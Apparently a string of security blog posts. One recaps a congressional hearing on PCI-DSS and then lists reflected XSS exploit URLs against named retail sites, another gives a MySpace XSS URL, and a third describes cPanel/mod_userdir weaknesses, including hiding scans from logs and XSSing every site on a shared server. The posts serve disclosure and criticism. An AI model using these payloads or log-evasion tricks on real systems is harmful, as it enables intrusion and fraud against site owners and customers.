PCI Hearing Recap

Maybe I expected too much from the congressional hearing on PCI-DSS. While the stated intent was to discuss whether it does any good, it pretty much boiled down to the merchants, the PCI council, and the DoJ saying "It's not our fault, it's your fault" to each other.

You can still view the video online. Despite the overall uselessness of the hearing, a few interesting points were made:

Companies need to understand that PCI compliance is a bare minimum for security. It takes an ongoing security program, with periodic audits and evaluations, to actually improve an organization's security. Simply passing the scanner test does not make you compliant.

Rep. Bennie Thomspon noted that the PCI system isn't working, and put forth the idea that the government should take over from private industry. I hope it doesn't come to this.

Everybody seems to agree that the standards aren't really where we are lacking, but everybody disagrees on where the problem is. The PCI people said it is because they are not followed by the vendors, and that there has never been a breach on a PCI compliant organization. If that was the goal, we should just reduce the standards down to "Don't have any holes" The goal is to reduce data breaches, not reduce the number of compliant companies.

The merchants, in turn, said that it is too hard to be compliant- they noted that the auditing and the techology to maintain compliance is expensive, and that the payment card industry is far behind in the technology. While true, the fact remains that most companies have dismal security practices, and that fixing this is their problem.

Michael Jones, the CIO from Michaels Stores, Inc. was probably the only one making coherent statements. He testified that the standards are too complex and arcane, designed to protect the Payment Card Industry rather than the merchants or consumers, and impossible to implement fully in any case.

This may be proving his point about the difficulty of staying compliant, but Mr. Jones testified that he was "proud to report that Michaels has never had evidence of a breach of consumer data". If this is true (and this is a big if), it's only because nobody has tried. An XSS hole in michaels.com was reported to XSSed.com almost 2 years ago, and still hasn't been patched. In all that time, they have not been PCI compliant. I am betting they would disagree with this point.

I went to michaels.com and noted that their "Find A Store" feature, which is outsourced to a third party, contains XSS holes

Finally, the money shot, it took me less than 60 seconds of searching to find the following hole in forums.michaels.com, which is a 2-for-one: XSS, and SQL injection (with error reporting and script path disclosure thrown in for free):



I have to wonder who has been doing their PCI auditing.

Exploit URLS:

http://direct.where2getit.com/cwc/apps/w2gi.php?template=search%22%3E%3Cscript%3Ealert(1337)%3C/script%3E&client=michaels

http://www.michaels.com/art/online/search?search=yes&type=0&searchWords=%3C/script%3E%3Cscript%3Ealert(/xss/
)%3C/script%3E

http://forums.michaels.com/community/search.php?Cat=asdf%22%3E%3Cscript%3Ealert(1337)%3C/script%3E


Congressional Hearing on PCI-DSS

Just as I joined Twitter and felt dirty for doing it, it paid off. Apparently, there will be a congressional hearing on the PCI-DSS tomorrow and whether it actually does any good.

More info from pcianswers.com. I'll be watching the webcast with great interest.

Myspace XSS

It was kind of a trend for a while to post Myspace XSS holes, but that kind of died out. I had a bit of time this morning and decided to find one. Given that these days, MySpace has a huge amount of partnerships with other companies, all creating their own apps, it didn't take long.



The XSS URL is:
http://ksolo.myspace.com/actions/showSongProfile.do?rid=1135511a&sid=207484&uid=);" style="font-size:25em" onmouseover="alert(1337

cPanel, mod_userdir, and Shared Hosting

I know I've made my views on shared hosting clear in the past, but I keep coming up with more reasons to not use it.

To begin with, let me start by saying that yes, I know that mod_userdir isn't recommended by its creators, cPanel, or Apache for secure applications. I may be grabbing at low-hanging fruit here, but that doesn't change the fact that its use is hugely popular for mass-hosted webservers. It is a convenient way to get a lot of sites onto a server, to get valid SSL certificates for each, and for accessing/managing content on all of them.

With that out of the way...

For those that aren't in the know, mod_userdir is an Apache module that allows you to create a separate website for each user on a server. These sites can all be accessed by going to http://servername.com/~username. The module is installed on most Apache setups by default, but isn't necessarily always enabled. Most mass-hosted cPanel servers make extensive use of it for a variety of reasons.

I should note that in the following examples, 'victim' is the username and 'victim.com' the domain of the targeted web site. 'attacker' and 'attacker.com', respectively, are used to compromise victim, but do not have to be run by the attacker- they can simply be accounts with poor log management, PHP or XSS holes, depending on the exploit. With hundreds of sites on a server, finding such a site is usually trivial.

cPanel's default Apache configuration has a handful of flaws in it that make mod_userdir suprisingly useful to the wily attacker. To begin with, the attacker can attack one site, but have the logs deposited in another's log directory. To do this, hit the server through the domain of the site that you want to logs to show up on, but use the username of the target site:

http://attacker.com/~victim/admin.php

With this url format, we can scan, probe, and bruteforce logins without the target site hearing a peep from his apache logs. Even if he does suspect foul play, he will have a hard time getting the logs, as (theoretically, at least) both the server's administrator and the attacker's site will be rather resistant to turning over their own site's logs without a court order.

If you can't find a decent user account on the server, you can always use the server's IP address instead of a domain and run the scripts as apache rather than attacker. This way, only root will be able to access the logs, and surprisingly few administrators ever review the global apache logs.

The one caveat here is that cPanel does allow you to set up a "default" account which may end up catching the logs, but if you go directly to the server's address and see something like this, you have a winner.

Due to poor default Apache configuration, directory listings on /cgi-bin are enabled when you access it in similar fashion:

http://victim.com/~victim/cgi-bin

This alone has been enough for me to crack accounts in past penetration tests. While it has been fixed recently, past versions of cPanel would also print out cgi scripts' contents rather than executing them. Still, included files without a .cgi, .pl, .plx, .ppl or .perl extension can be easily located and downloaded with this method.

By going to http://attacker.com/~victim, we can execute PHP scripts from the user "victim", with the server thinking that we're "attacker". This can be handy for a few things. First off, printing out $_SERVER['DOCUMENT_ROOT'] tells me that I'm running in /usr/home/attacker/. By contrast, the server knows that $_SCRIPT['FILENAME'] is /usr/home/victim/public_html/script.php. The script is executed with victim's privileges, so you can't read or write anything that the user doesn't normally have access to, but if victim is including files or locating resources based on the $_SERVER['DOCUMENT_ROOT'] variable, we can manipulate it, forcing the application to load your own PHP code.

Let's say you don't even want to bother with PHP. If you can find a single XSS hole on any user's site on the server (and you can, I promise), you just have to get people to hit http://victim.com/~attacker/XSSedPage.php.

Let me repeat that- You can XSS every domain on an entire server. Many of these servers contain hundreds of users. In cases where an entire server is owned by one web development company, that server's php applications are usually homogenous. The implications of this are huge. While many are certified as such, no site on a cPanel server should be considered PCI compliant. Many people downplay the importance of XSS exploits, because they have to be individually found and have custom exploit code written. With mod_userdir and a bit of fancy coding, an attacker can compromise hundreds of accounts, all performing hundreds of ecommerce transactions per day.

That's just good economics.